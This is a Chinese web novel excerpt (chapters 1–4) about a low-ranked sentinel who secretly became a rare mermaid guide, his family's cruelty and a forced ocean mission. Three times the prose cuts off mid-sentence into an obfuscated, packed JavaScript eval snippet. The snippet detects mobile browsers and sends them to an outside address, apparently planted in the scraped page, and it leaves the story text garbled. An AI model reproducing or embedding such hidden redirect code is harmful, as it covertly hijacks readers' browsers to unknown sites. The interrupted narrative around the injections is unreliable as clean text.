《人鱼大美人向导》 1. 强制任务 富有规律的提示音响起。 ——滴滴滴。 这是来自塔的信息。 云起之睁开眼睛，手指轻轻在左腕上的手表点了几下，面前投放出虚拟面板，四边用金色点缀，中间是来自塔的文字信息。 ——早安，云起之哨兵。 据检测，您的假日已超过七天，哨兵管理服务中心已为您安排强制任务。 【洛尔贝涅镇海洋次元境】，据检测为C级次元境，因次元境出现的位置较为隐秘，次元境出现之初并没被探索到，污染向外弥漫，异变体从中而出，为洛尔贝涅镇的居民带来许多困扰。 请云起之哨兵与所属团队尽早解决来自洛尔贝涅镇的困扰。 本次带队的是A级哨兵3位，B级哨兵12位，C级哨兵120位。 准备时间为两天，两天后，请准时出动。 ^_^祝早日完成任务。 云起之：“……” 这就是塔。 从十八岁开始，居住在塔内的哨兵、向导根据塔下达的指令进行任务。 一般都是团队任务。 两天的准备时间，这期间他们要准备的是进入次元境时所需要的物品，如压缩饼干、饮用水、药剂、帐篷、换洗衣物等等…… 不同的任务所需时间各不相同，快的话1、2个小时，慢的话需要数月，甚至是数年。 根据次元境规模，大家会进行对应准备。 同时，所有出任务的哨兵必须检测精神稳定值，数值在70以下，就需要找向导进行疏导，又或者购买疏导剂，让精神值恢复到70以上。 当然。 极少一部分哨兵，在没有契合的向导时他们的精神稳定值很难达到70之上。 这部分哨兵普遍是2S级及以上的哨兵，因为特殊性，他们的精神稳定值并不会被强制性要求。 云起之是C级哨兵。 从等级来说，他这种低等级的哨兵并不允许居住在中心塔，但他的父亲、母亲都是塔中高层，他在塔出生，在塔学习，在塔长大，自然而然也就拥有塔的居住权。 十八岁以后，塔中的哨兵已经开始执行任务，根据塔所下达的指令，不同等级的哨兵、向导都有对应的目标。 现在的时间是二月下旬。 这个月云起之还没有完成目标，或者说他的积极性非常差，月月都完成不了目标。 从十八岁到现在已经过了两年，他的绩效永远都是塔中之耻。 吐出一口气，将投影屏关掉，云起之在床上又躺了几分钟，起床，伴随他的动作，一头比绸缎还要柔顺的白色长发散落。 他拿出换洗衣物走出房间，进入浴室。 走过镜柜，入眼的是过腰的长发，他的脚步顿住，一双蓝色的眸子直直看向镜中的自己，面上没有丝毫表情。 与白发相称的白皙皮肤，长长的眼睫，蓝色的眼眸，挺直的鼻梁，以及不点而红的唇。 他是云家的次子。 在塔中长大，很多人提起他时，提起的经常就是，云家那个长得最漂亮的孩子。 云起之并不喜欢自己的外貌，因为这样的外貌，他叛逆期经常顶着一个光头走遍塔。 直到两年前为止。 两年前，在他十八岁那一年，跟随竹马宴景鸢进入次元境。 在那一场次元境中，他分化成了人鱼向导。 长发是人鱼向导的标志。 那时他还顶着一个寸头，以哨兵的身份忽然进行的二次分化给他带来了许许多多的负面变化，其中之一就是无论怎样都剪不掉的长发。 他一直将自己的长发当成累赘。 除了剪不掉的长发外，还有就是无法克制的对水的热爱。 他喜欢水。 更准确的说法是，他对水有很强的依赖性。 就像是离不开水的鱼，他每天都需要将自己浸泡于水中，如果不将自己浸泡于水，他会焦虑，而这种焦虑会影响到他的身躯，产生躯干僵硬、反应迟钝、大脑运转不过来等等诸多问题。 这也是他很讨厌出任务的原因之一。 每一次的任务场地不一定，短则一天，长达数月，如果是河、湖、海洋等环境倒也还好，但更多的时候是陆地，甚至还有沙漠环境。 低湿度，没有水的地方对云起之来说简直就是煎熬。 他从镜中收回目光，朝着浴缸放水。 可能因为是鱼，他喜欢凉水。 感觉着冰凉的水温，他的身体放松地浸泡在水中，当浴缸中的水越来越多，他变化为人鱼形态。 人鱼形态时他的外貌有微微的变化，白发转为黑发，双腿化为冰蓝色的长鱼尾。 在最开始，他对自己人鱼化后的身体掌控能力非常差，后来变身次数多了，也才慢慢熟练了起来。 浴缸中的水越来越多，他将自己整条鱼淹没于水下。 几分钟后，他从水中冒头。 人鱼化后的指甲非常锋锐，他的手指轻轻点在左手腕上的手表，下一刻，面前投影出光幕。 塔中的哨兵、向导都有属于各自的队伍。 团队等级越高，允许加入的人数越多。 云起之所属的团队是宴景鸢的队伍，在塔属于中等团队，目前团队总人数500人，在其中，他的实力垫底。 宴景鸢的团队目前被评级为B+级，与A级团队只差一线之隔，再积累一定的功勋就能将团队提升到A级，扩充团队人数。 B级团的人数上线为500人。 团队人数目前已满。 点入个人控制面板中心，就能够看到所属团现在的情况。 团队名称：飞鸢团【B+级】 团队人数：500/500 团长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029793|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：宴景鸢 副团长：巫凝莎、奈哲尔·格莱斯顿 一位团长，两位副团长，三人是飞鸢团的实权者，其次，团长配有两位助理秘书，八位元老，元老之下是大组长，副组长，还有直属于团长管理的精英团，最后就是数量最多的普通队员。 从哨兵等级来说，云起之甚至没有资格进入飞鸢团。 飞鸢团的最低招收标准是B级哨兵。 他能够进入飞鸢团，主要通过的还是和宴景鸢的竹马关系，他是飞鸢团的普通队员，也是整个团队等级最低的哨兵。 塔的安排下，【洛尔贝涅镇海洋次元境】的任务组成中，3位A级，12位B级哨兵，以及1位C级是飞鸢团的成员，剩余的都是根据塔的安排下从外塔调配而来的C级哨兵。 强制任务下达的那一刹，系统安排，135人已经被拉入一个名为【洛尔贝涅镇海洋次元境】的群聊。 按照实力、经验，飞鸢团的三位A级哨兵将担任本次任务的最高指挥官。 一位主，两位辅助。 云起之闭上眼睛，又一次将自己没入水中，大概过了几分钟后他从水中冒头。 群聊之中已经有人发出了一行行的信息。 每一个人在群聊中使用的都是真名，无法匿名，并且点开名字，就能够看到对方的个人信息，以及对方曾经执行过的任务，最终任务中获取到的贡献点等等。 没有丝毫隐私可言。 美其名曰，队友之间必须有绝对的信任。 也多亏这种规则，众所周知，云起之的个人绩效是塔中的绝对耻辱。 太糟糕了。 中心塔。 这是外界的哨兵、向导们梦寐以求想要进入的地方，很多外塔的哨兵、向导会奉承塔中的人，就比如现在，那些外塔的哨兵们就已经开始奉承起了飞鸢团的哨兵们。 【后星晖：我们并不清楚洛尔贝涅镇海洋次元境的情况，今天我会派遣三个人先去打探情况。】 这也是进入各大次元境时必须要做的调查之一。 像是部分次元境辐射、污染等非常严重，针对的方向各不相同，先一步做出调查，就能够最大限度节省时间。 云起之认识后星晖。 后星晖是飞鸢团中的精英级哨兵，被选定为本次【洛尔贝涅镇海洋次元境】的最高指挥官。 A级哨兵。 云起之是不安的。 两年前，觉醒为人鱼向导的那一年，他跟着宴景鸢进行他们人生中的第一次次元境任务。 也是C级海洋境。 在那一场海洋境中觉醒为人鱼向导之后，云起之接下来的每一场任务，他都会跟着至少S级以上的哨兵执行，如果没办法…… 他并不信任A级哨兵。 他觉得危险。 他能做的，就是摇人，摇来更强大的哨兵。 2. 家庭关系 云起之第一个想到的是竹马宴景鸢。 关闭群聊界面，点开个人通讯列表。 他的通讯录中一共置顶了三个人，也为这三人设定了特殊关注。 一，云起之的大哥云柏岚。 二，竹马宴景鸢。 三，弟弟的同学，从秋阳。 从置顶就能够看出来，在整个云家，云起之和云家长子云柏岚的关系很好，和另外两位姐弟的关系就非常一般了。 云家共有四个孩子。 云起之上面有一个哥哥、一个姐姐，下面还有一个弟弟。 在塔，云家是标准的哨兵家族，哥哥、姐姐、弟弟都是2S级天赋的哨兵，只有云起之，八岁觉醒为C级哨兵。 他是云家的耻辱。 对云起之来说，八岁那一年就是一场噩梦。 塔共有两位最高执政官。 两位执政官共同管理着塔，在塔中拥有至高无上的权利。 两位执政官之下，是四位副官，云起之的父亲云煜城就是四位副执政官之一，这也是为什么作为普普通通的C级哨兵，他能够与身为天才的宴景鸢成为竹马的原因。 他们这些同年龄段的人，总会聚在一起。 除了宴景鸢这种天才朋友之外，必然也会结交一些狐朋狗友。 八岁那一年，云起之分化为哨兵，拿着检测报告，他回到家时，迎来的就是母亲的一巴掌，以及，一句…… 废物。 那时的云起之其实很懵。 哥哥姐姐还没有回家，比他小两岁的弟弟目光直直地看着他，他并不认为妈妈打哥哥哪里不对，在他看来C级就是废物。 他的母亲，埃尔莎·夏洛蒂女士用的力道非常强，他的脸上留下了鲜红的巴掌印。 埃尔莎女士抱起最小的儿子，转身就走。 处于本能，云起之试图追上母亲，但是被埃尔莎女士呵退。 他试图联系哥哥和姐姐…… 是的。 还小的他就是知道，不能联系父亲。 母亲说他是废物，不会有例外，父亲也会这么想。 一遍遍地拨通哥哥和姐姐的通讯，联系不上，就在他打算再一次尝试时，个人终端传来来电提示。 是宴景鸢来的视讯。 视讯接通的那一刹那，视讯另一端的宴景鸢就看到了云起之脸上的红肿，一番询问，非常的生气。 宴景鸢说：“你等我，我马上过去找你，不哭哦。” 果然，就如宴景鸢所说，他很快就找了过来。 宴景鸢看起来很愤怒，他给了云起之一个大大的拥抱，握住他的手腕，带着他去找了埃尔莎女士。 回忆起来，那是…… 非常鲁莽的行为，也是十分简单粗暴的行为。 在塔，作为云煜城的伴侣，大家自然会关注埃尔莎。 人群之中，她永远都是他人目光的交集点。 就是在众目睽睽之下，宴景鸢说道：“云夫人，无论任何原因，我认为您都不应该对您的孩子使用暴力，您说对吗？” 在云起之的记忆中，埃尔莎是高贵的，贵族出身，外貌姣美，在塔中，几乎没有她的负面信息。 因为羞愤，埃尔莎白皙的脸一片通红，她皱眉，冰冷的目光扫了眼云起之，又看向宴景鸢，说道：“宴景鸢小朋友，我想你或许有所误会。” 对云起之时的冰冷不同，众目睽睽之下面对宴景鸢时，埃尔莎的声音显得非常温和。 宴景鸢并不吃这一套，或者说，比起不熟的朋友的母亲，他更相信自己的朋友。 宴景鸢指了指云起之脸颊上红肿的巴掌印记，说道：“您是想说，这不是您打的吗？” 不给埃尔莎反驳的机会，宴景鸢继续说：“哦，或许您想说，这是起之做错了事情，您是在教育您的孩子？但是，希望您理解，暴力违法，哪怕您是起之的母亲，按照帝国的未成年儿童保护法，帝国有权利剥夺您的监护权！”还年幼，但是他的声音铿锵有力。 或许对云家来说，他们并不珍惜云起之这个孩子，但是，云家不可能放弃云起之的监护权。 这对云家来说是莫大的耻辱。 还年幼的宴景鸢牵着云起之的手试图为他出头，这件事本身其实对云起之来说并不是什么好事，因为，这件事带来的是身为母亲的埃尔莎对云起之更多的厌恶。 这对还年幼，仍旧试图追寻母爱的云起之来说是无比痛苦的事情。 八岁这一年，对云起之来说是非常特殊的一年。 同龄的竹马小伙伴像是英雄。 人生中，在与母亲的正面冲突中，宴景鸢是第一个为他站出来的人。 同一年，他和母亲的关系达到冰点，她对他不闻不问，冷眼相待，而父亲则默认了埃尔莎对云起之的冷漠。 直到现在，云起之与父母之间的对话，一年或许不到十次。 从最开始，他会声音软糯地喊，爸爸、妈妈…… 一次次的呼唤，在没有得到回应后，他减少了呼唤。 他会疼。 父母的态度也间接影响了姐姐和弟弟的态度。 姐姐云雪盈和父母的态度一样，她选择无视云起之，比云起之小两岁的弟弟云新止，当时也只有六岁，被呵护长大的小朋友不懂人情世故，往往这个年龄的小孩会不经意间说出最伤人的言语。 他对云起之说：“二哥，大哥、大姐，包括我，我们的天赋都很强，为什么只有你是C级哨兵？” “C级哨兵都是垃圾。” “云起之，你真的是爸爸妈妈的孩子吗？” ………… …… 时间过得太久了。 已经十二年了。 过久的时间，云起之已经不记得他当时是怎么回复弟弟这些犀利的问题，记得的只有羞赧，以及内心的崩溃。 哪怕现在想起过去的事情，云起之仍旧感觉一颗心揪住一般的疼痛。 他感觉心跳速度在增加，他重新将头没入冰凉的水面，缓解起伏的情绪。 深呼吸，深呼吸。 冰蓝色的鱼尾在水面下甩动，水珠从鱼缸洒落向外，眼泪一滴滴地向下坠落，每一颗眼泪顺着他的眼睛落下不久后凝结成一颗颗的珍珠。 ——人鱼之泪。 觉醒为人鱼向导两年，在这两年的时间，在接受属于人鱼的副作用的同时，他同样也摸索到了人鱼状态时自己的能力。 一般来说，向导手无缚鸡之力，这也是为什么绝大多数情况下很少有向导会跟随哨兵执行任务的原因，同时，每次出任务时，所有哨兵必须遵守的规则之一，无论任何情况，哨兵的第一任务都是保护好团队中的向导。 非常残酷的，就算是向导与向导之间也有区分。 任何情况下，优先保护更高等级的向导。 和普通向导不一样，作为传说级的人鱼向导，一开始分化时他就已经掌控了操控水的能力，而当时的情况导致，他也必须学会。 除了拥有强横的控水能力之外，也是分化为人鱼向导后的三个月之后他才发现的。 刚分化为人鱼向导时，他的内心非常煎熬，时刻都处于茫然的状态，身体本能渴望水，但害怕被发现转变，他一直都克制住进入人鱼化的状态，到了现在，心态逐渐平和，只要将浴室门关上，即便客厅有人，他也能够面不改色地变为人鱼。 每一次的人鱼化，对云起之来说都是一场解压，而在人鱼化之后的泪水，有一定的概率会转化为人鱼之泪。 一颗颗珍贵的珍珠。 针对人鱼之泪，云起之做过许多次尝试，也找过许许多多的相关资料。 资料上说，人鱼向导只要哭，就会坠泪为珠，会化为一颗颗晶莹剔透的珍珠。 云起之尝试过。 并不是的。 首先，人鱼向导即便是在人鱼化的状态下，也并不是每一次哭都能够坠泪为珠，必须拥有一定情感的眼泪才能够化为带着情绪的结晶。 其次…… 人类形态之下，在极度悲伤时，也是有概率坠泪为珠的。 在云起之看来，人鱼之泪几乎可以说是人鱼向导情绪的实体产物。 据记载，人鱼之泪最大的用处之一是能够制作成安抚药剂，足量的人鱼之泪，效果堪比与高契合向导之间最亲密的疏导。 现在世面上还有流传着的人鱼之泪售卖，每次出现，就会被售卖一空。 在那之后，云起之就有意识地将自己的人鱼之泪收集起来。 毕竟，真的很贵！ 云家孩子到十八岁为止都有零用钱，但是云起之没有。 他的领用钱都是大哥云柏岚给他的，也是因此，他珍惜每一分钱，毕竟哥哥赚钱并不容易。 因为人鱼之泪的珍贵，云起之并没有控制自己的眼泪。 一颗颗带着悲伤的泪水与浴缸中的水混合在一起，沉于水底。 不知过了多久，他的情绪控制住，流出来的泪水不再是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按照基本的礼仪，云起之看到云煜城，还是乖巧地唤了一声“父亲”，理所当然，云起之并没有得到云煜城的回应。 不过…… 凭借远强于普通人的感知，云起之能够感觉得到，和过去不太一样，云煜城的目光一直落在他的身上。 云起之眉头微皱，手上的力道收紧，又放松。 ——滴答滴答。 云起之愣了下，低头。 一颗颗的人鱼之泪落于地面。 这一瞬间，云起之的面色惨白，云煜城的目光下落，看向落于地面的晶珠，他的呼吸声平缓，什么话都没有说。 云起之感觉心跳速度加快，动作迅速地将一颗颗的人鱼之泪捡起来，朝着房间的方向走去，在这个过程中，他始终能够感觉到云煜城的目光。 直到他回到房间，一扇门的阻隔下，那一股带着窥视的目光才消失。 这是让云起之感到十分不舒服的目光。 还有…… 他想，父亲应该没有发现人鱼之泪吧？ 云起之背靠在门上回忆不久前云煜城的状态，他看起来不太对劲。 原因不明。 云起之让自己平静下来，不再多想，继续自己的事情。 云起之的房间是一个15平左右的房间，在寸土寸金的塔，这个规格可以说是奢侈，这是作为云家子的福利。 室内的布置非常简单，一张双人床，一排衣柜，以及一个书桌与一张椅子，从出生起，云起之就住在这里。 拉开书桌下的抽屉，有一个500毫升左右的透明玻璃罐。 玻璃罐半满，其中部分人鱼之泪被他使用，玻璃罐内是剩余的眼泪。 他数了数手上人鱼之泪的数量。 23颗。 还差2颗人鱼之泪。 烦躁地抓了下头发，云起之回头，朝着门的方向看去，希望云煜城能够快点离开，他要去找丢失的两颗眼泪。 本身云煜城会在这个时间点出现在这里，就不太正常。 让云起之松一口气的是，大概等了十分钟左右，云煜城离开了。 云煜城前脚出门，云起之立刻从房间里走出去，开始找寻丢失的两颗人鱼之泪。 但，他怎么都找不到。 3. 肌肤饥渴症 两年的时间，云起之积攒了许多的眼泪。 其中一部分用于制作疏导药剂，今天丢失的两颗人鱼之泪，是他第一次丢失的眼泪。 不死心地又找了一圈，始终没有找到。 站在原地思考了一下，手腕终端上一阵接一阵的提示让他回过神。 点开界面，是宴景鸢不久之前发过来的信息，他让他不用去接他，等回到塔还要进行一系列的检测。 等所有的检测结束后，他过来找云起之。 虽说宴景鸢这么说，但云起之还是想去找宴景鸢，主要，他们已经有半个月以上没有见了。 这次宴景鸢接的任务是带领团队进入A级次元境。 A级任务难度比较高，B级及以上的次元境会有向导跟随。 半个月前，原本云起之会和宴景鸢一起进入A级次元境，最终在探索中发现是沙漠环境，一番犹豫后，作为一条鱼，他最终还是放弃了跟着宴景鸢进入次元境，从这一次的任务中退出。 这也是云起之被人诟病的一点。 大家都说云起之滥用权利。 作为云副官之子，同时也是宴景鸢的竹马，他可以根据情况拒绝进入部分次元境，也是因此，云起之个人资料上的履历惨不忍睹。 新增添的一条。 ——原计划进入A级沙漠境，根据自我意愿，退出。 哦。 这是委婉的写法。 大家众所周知，实际上就是遇难则退。 关闭与宴景鸢的聊天框，云起之看向信息框。 是【洛尔贝涅镇海洋次元境】任务组群聊。 匆匆扫了眼，最开始大家聊的还是任务相关，后面就是闲聊，没什么有用信息。 一目十行看下去，云起之关闭聊天界面。 塔很高。 178层，为洛斯帝国最高的建筑物。 帝国所有B级及以上的哨兵，C级及以上的向导，他们会被带入塔，成为塔的一份子。 1至99层，是塔中绝大多数人的生活区，他们会在这里上学、吃饭，生活。 如果没什么意外，他们会在这里生活一辈子，一般来说，B级及B级以下的哨兵，C级及C级以下的哨兵居住在99层及以下。 100至129层，是A级及以上的哨兵，B级及以上的向导的工作区与生活区。 130至149层，为塔内高层的工作区与生活区。 就比如云煜城，他是塔中四位副执政官之一，住在塔的148层。 除了家庭房外，也有宿舍，比如分配给S级及以上的哨兵，又或者A级及以上的向导的个人宿舍，非家庭的情况下，宿舍一般是公寓房，甚至是小单间。 这就是塔。 每一寸位置都非常珍贵。 149层为塔中两位最高职权者的生活区。 150至159层，为皇室的生活区。 160层到178层，被称之为禁区。 对普通人来说是禁区，但其实每日都有大量的人进出。 人鱼向导，是以世纪为单位出现的。 据洛斯帝国的历史，上一位人鱼向导出现在六百年前。 六百年，这是一个非常漫长的时间，够正经人类死上几个来回，然而，各大国的塔在这些年来仍旧会为迎接那或许永远都不一定出现的人鱼向导准备着他们的休憩地。 是的。 从160到178楼，整整19个楼层，都是为人鱼向导所准备的。 听说，其中有一整个楼层，模拟的就是海洋环境，水波荡漾，是一个非常美丽的地方。 每日都有人擦扫着每一层楼，天还没亮，他们就用鲜花装点每一个楼层。 他们在期待着人鱼向导的到来。 云起之其实不太理解。 从他还没有觉醒为人鱼向导时就不理解，在他看来，这完全就是没有意义的资源浪费，真的有必要这么做吗？ 在他觉醒为人鱼后，这样的想法也不层改变。 云起之推开家门，是长长的走廊。 每隔一小段距离，就有一扇扇的窗，这是云起之在这两年忽然有了的习惯，当他看到窗户，他的目光总是会朝着外界看去。 可能是因为他进化的方向是鱼，所以，总会向往着他所没有的东西。 就比如，属于鸟类的一双能够翱翔于天际的巨大的翅膀。 他的目光下意识朝着窗外看去，又迅速收回目光，走到电梯处。 塔很高，电梯也多，其中有不少电梯是专用梯，只允许部分人通过面部识别解锁。 住在148层，以云煜城的家人身份，云起之拥有这一部分的特权。 走向尽头的电梯，按下。 电梯从153层向下，在149层停留了一下，又继续下来。 云起之愣了下，一直生活在塔，他其实很少有机会和149层的人共用一个电梯，也不知道电梯内的人是谁。 没来得及多想，电梯已经停下。 还算宽敞的电梯中有三个人。 为首的是罗素·克拉伦斯，塔的最高权力者，塔两位执政官之一。 今年二十八岁，一头浅金色的短发，冰灰色眼眸，带着微卷的刘海固定住向上，气质成熟，他在塔中属于传奇。 历史上，他是塔最年轻的执政官。 他的父亲是帝国五大上将之一，姐姐是帝后，但他能够坐在现在的位置上并不是借用家人的力量，是因为，他带着团队拿下了死亡级的次元境。 3S级次元境。 对云起之来说，罗素就是传说级的人物。 云端之上，高不可攀。 有那么一瞬间，云起之甚至想向后退，拉开距离，等下一辆电梯。 事实上，他的身体也很诚实地执行了他的想法。 电梯内，作为罗素的秘书，一位看起来二十多岁的年轻女子微笑看向云起之，打起招呼：“早安，云起之哨兵。”她又说，“云起之哨兵，快进来。”在电梯自动合上之前，她按下了开启键。 云起之面上表情僵了一下，进入电梯，先是问候罗素，之后又向唐秘书与另一位男子点点头。 云起之按下电梯按键“99”。 电梯也就只到“99”，抵达99层后，他需要换乘。 云起之要去的是二楼。 塔的一楼为大厅，办理着各种业务，其中就包含为所有新入塔的哨兵、向导办理着各种进出塔的手续。 大陆很大，每天总有数之不尽的哨兵、向导涌入塔。 提起这个，云起之其实不太理解。 在塔中出生，在塔中长大，对他来说，塔就是规则，他对塔拥有很强的归属感，他不太清楚外界的世界是怎样的。 听说并不是所有的哨兵向导都愿意进入塔，尤其是很多向导，他们想方设法隐瞒自己向导的身份，他们以普通人的身份藏在人群中过着平淡的日子。 云起之真的不太理解他们是怎么想的。 塔之外的向导进入塔之后，他们能够生活在最安全的环境，甚至于在这里，很多时候能够避免超强五感带来的负面情绪，这里有最好的组格室。 免费使用。 所以，他真的不太理解，为什么会有哨兵、向导这么的不识抬举。 云起之还曾听人提起过，外界有鬣狗，他们专门在民间追捕向导，将所有没有记录在案的向导带到塔。 是的。 有悬赏。 原本就身为塔中的一员，云起之不太懂那些野生的哨兵、向导的想法，也没打算理解，只是居住在塔，多年来总能听到大家的讨论。 就因为这些野生的哨兵、向导，帝国还有一项法律。 帝国所有哨兵、向导在分化后，必须在三个月内去各地哨向管理中心登记。 一旦发现没有登记者，根据时间进行罚款。 两年前，云起之完全不在意这一项法律。 分化为人鱼向导之后，云起之从恍惚茫然的状态下回过神，他就立刻搜寻相关法律。 等级越高，罚金就越多。 罚金按照天计算。 云起之算了算，他作为人鱼向导，这个罚款…… 他真的交不起。 卖了哥哥都交不起。 父亲、母亲所有的金库都掏出来，那或许交得起。 塔的一楼每天都很忙碌，处于全年无休的状态。 塔内的哨兵、向导执行任务回归，优先去的就是二楼，先进行精神状态检查，如果问题比较大，就需要进行现场疏导。 电梯下降到99楼，罗素率先迈开脚步，身后二人立刻跟随。 云起之最后一个走出电梯。 对比原先所在楼层的空荡，99楼人流明显增加，他们戴在胸前的铭牌上的等级基本都是B级及以上，与之比起来，云起之胸前铭牌上的C级就显得非常的刺目。 云起之面无表情地走到另一个电梯处，和他一样，有不少人等待电梯。 塔给予哨兵、向导足够的自由，非任务期间，他们可以随意进出塔。 当然，这里有些特殊的存在。 比如S级及以上的向导。 他们可以出塔，但身边必须配有保护者。 云起之并不觉得这个规则哪里不对，也不觉得这是限制了向导的自由人身权。 毕竟，命最重要。 外界有许多哨兵对向导虎视眈眈，塔的规则都是为向导好。 凭借优越的外貌，云起之在塔拥有很大的名气，大家的目光总是朝着他看去，从小到大，云起之已经习惯了他人的视线。 电梯抵达，云起之进入电梯。 电梯中的人越来越多，他退到角落。 高峰时，整个电梯就是一个沙丁鱼罐头。 云起之的面前是一位A级哨兵，这位A级哨兵用身体护住他，不让别人挤到他。 电梯向下，一批人进去，又一批人出去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029795|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵达二楼，云起之压低声音，对面前这位好心的哨兵道出感谢，走出电梯，进入二楼大厅。 强大的五感能够捕捉到最为细微的声音。 云起之试图从密集的声音中寻找到熟悉的声音。 有人说：“听说科研部研发了新的终端！” “呃，这有什么新奇的，科研部不是年年更新两次个人终端？” “不不不，这次有很大的突破！听说新终端加入了哨兵精神稳定值监测功能，等大家更换新的终端后，每次任务中回归，或许就不需要进入二楼进行精神状态的测试了。” “真的假的？” “真的哦，它会时刻关注着哨兵的状态，精神稳定值降低到50点以下，就会发出警报，并且会根据导航，让附近最近的哨兵、向导去接引。” “这就很方便，等新版个人终端真的能够全面替换，这能够最大限度降低哨兵精神崩溃的次数。” 又有人发出疑问，“哨兵精神崩溃，让向导去疏导，为什么还会提醒附近的哨兵？” “因为哨兵要保护向导啊。” “哦，也对。” 除了技术部新研发的个人终端外，云起之还听大家说了一些别的信息，什么次元境输出榜、疏导榜…… 似乎是和个人绩效挂钩。 都是些什么玩意？ 哦。 云起之简单听了听，就是让他成为榜单之耻的一些破东西。 科研部是没什么可以研发了吗？ 云起之抿了抿嘴唇，拒绝听这部分的信息。 目光四处扫去，除了宴景鸢的团队外，二楼还有其他的团队，一片嘈杂，但是…… 就是这样。 云起之仅仅只是C级哨兵，但，无论在任何地方，只要他所在的地方，他就是人群中的焦点。 原本嘈杂的二楼陷入诡异的安静，诸多人的目光齐刷刷朝着云起之看去。 因为超强的视力，哪怕隔着还算远的距离，他们也能够清晰地看到云起之，那是没有丝毫瑕疵的外貌。 在这诡谲的安静之中，不远处，有人朝着云起之招手，“起之！” 云起之看过去。 是宴景鸢。 宴景鸢和云起之同岁，20岁，他一头顺滑的黑色短发上面拥有一对毛茸茸的白色的狗耳朵，麦色的肌肤，琥珀色的眼睛，浑身朝气蓬勃，笑起来像是一轮朝阳。 宴景鸢耳朵上的一对白色耳朵，其实是狼耳朵。 就和人鱼向导一样，部分哨兵、向导拥有第二形态，半兽化，又或者全兽化的状态。 哨兵进入半兽、全兽的状态，实力会加强，但同时，精神值崩坏速度也会增加。 向导进入半兽，又或者全兽的状态，他们的疏导力会加强，目前研究中并没有发现向导进入全兽化状态是否拥有副作用，不过，很少有向导拥有全兽形态。 云起之想，不算他，整个洛斯帝国只有一位双S级向导。 也是塔中另一位至高无上的存在，罗素执政官外的另一位执政官，简宛儿女士。 听说简宛儿执政官拥有全兽形态。 云起之走向宴景鸢，二人之间的距离越来越近。 宴景鸢伸手，摸了摸云起之的头发，说道：“还是湿的，你又洗澡没有将头发吹干净。” 云起之没有回答宴景鸢的问题，他伸手，捏了捏宴景鸢毛茸茸的耳朵，说道：“你的状态看来并不太好。”一般来说，宴景鸢很少会进入半兽状态，只能是精神状态不够稳定，所以才会陷入这种状态。 宴景鸢说道：“这次的任务比想象中难了一些。”他任由云起之揉捏自己的耳朵。 他们都知道，云起之有病。 是从年幼时到现在为止越来越严重的病。 肌肤饥渴症。 八岁之前，云起之的症状还非常轻微，八岁，在觉醒为C级哨兵之后，可能是因为被父母忽略，他的症状越来越强，极端焦虑时在没有碰触的情况下，他会一夜夜的失眠，上课时甚至会忽然晕倒。 那一段期间也是云起之非常难熬的时间段。 又让云起之捏了捏自己的耳朵，宴景鸢说道：“先让我进行精神值稳定测试，等我测试结束后去宿舍，到时候让你随便捏。” 云起之唇角弯起清浅的弧度，回应：“好哦。” 从小到大，云起之想，他可以放弃很多很多。 十八岁那年，明知是死路一条，那一次的次元境中他毅然在宴景鸢的身后跳入大海，那时的他明明知道，他弱小。 他无能。 他无力改变既定的现实。 即便跳入大海，以他微薄的能力，他其实什么都做不到。 宴景鸢是他活到现在唯一的贪念。 他喜欢他。 这也是为什么，云起之将自己人鱼向导身份隐藏下来的原因。 他想，保留一份念想。 他想给自己一次机会。 这是他的贪念。 4. 帝国第一向导 宴景鸢为首，他的身旁是巫凝莎。 巫凝莎是飞鸢团的副团长。 本次为期半个月的任务，他们一起行动。 和宴景鸢一样，巫凝莎同处于半兽化状态，她拥有一对毛茸茸的狐狸耳朵与五条长长的狐狸尾巴。 当巫凝莎的长尾能够增加至九条时，她就能够从S级进入到双S级，成为洛斯帝国第二位的双S级向导。 哨兵进入二楼，是为检测精神状态，而向导则是进行体检。 向导为哨兵疏导，副作用之一就是身体情况。 塔中的向导都有专属的营养师为他们调理身体，像是巫凝莎这种S级别的向导，身边就有一个团队的营养师为她一人服务。 除了营养师团队外，至少有三位哨兵贴身保护。 巫凝莎微笑向云起之点头，就当是打过招呼，她的目光看向宴景鸢，与他道别，带领团队中的向导去往向导专属体检区。 云起之看向宴景鸢，询问：“这么多的向导随队，你的情况怎么还这么糟糕。” 宴景鸢：“这次的次元境污染情况很严重，凝莎时刻展开群疏导，队伍中所有向导的消耗都很大，他们都需要休息。” 云起之没再说话，他甚至没提疏导药剂，主要疏导药剂的价格昂贵。 能节省就节省。 八岁到十八岁，云起之的所有金钱来源都是大哥云柏岚，这也导致了他非常节省。 他不想让自己成为哥哥的负担。 宴景鸢与团队中的哨兵们等待检测。 在这个过程中，云起之又听不少人说起科研部新研发的个人终端，准确率高达百分之90以上，只要成功发行，那么他们以后任务结束后回归，或许就不再需要进入二楼排队检测了。 原本经历一场任务就很累，任务结束后还要折腾。 